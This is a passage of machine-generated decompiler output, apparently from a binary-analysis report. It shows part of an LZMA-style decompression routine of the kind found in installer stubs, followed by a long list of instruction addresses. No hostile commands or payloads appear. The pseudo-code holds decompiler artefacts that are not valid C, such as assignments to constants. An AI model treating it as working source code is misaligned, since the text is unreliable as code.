							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8)); // executed
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00405fa8
0x00405fa8
0x00405fad
0x00406024
0x0040602b
0x00406035
0x00406614
0x00406614
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00000000
0x00406665
0x00406665
0x00406669
0x00406818
0x00000000
0x00406818
0x00406675
0x0040667c
0x00406684
0x00406687
0x00000000
0x00406687
0x00405faf
0x00405faf
0x00405fb3
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe9
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff8
0x00406016
0x00406018
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x0040623d
0x00406240
0x004061e3
0x004061e9
0x00000000
0x00000000
0x00000000
0x00406242
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061e0
0x00000000
0x004061e0
0x00405ffa
0x00405ffa
0x00405ffd
0x00406003
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060ec
0x004060ef
0x00406066
0x00406066
0x0040606c
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406179
0x0040617c
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x0040611c
0x0040611c
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406187
0x00406187
0x0040618a
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00406353
0x00406353
0x00406356
0x00406356
0x00000000
0x00406356
0x00406078
0x00000000
0x00000000
0x00000000
0x004060f5
0x00406041
0x00406045
0x004067b2
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x0040684a
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406063
0x00000000
0x00406063
0x004060ef
0x00405ff8
0x00405e2c
0x00405e2c
0x00405e35
0x00406843
0x00406843
0x00000000
0x00406843
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00000000
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00000000
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00000000
0x00406380
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00000000
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00000000
0x00406611
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00000000
0x00406784
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
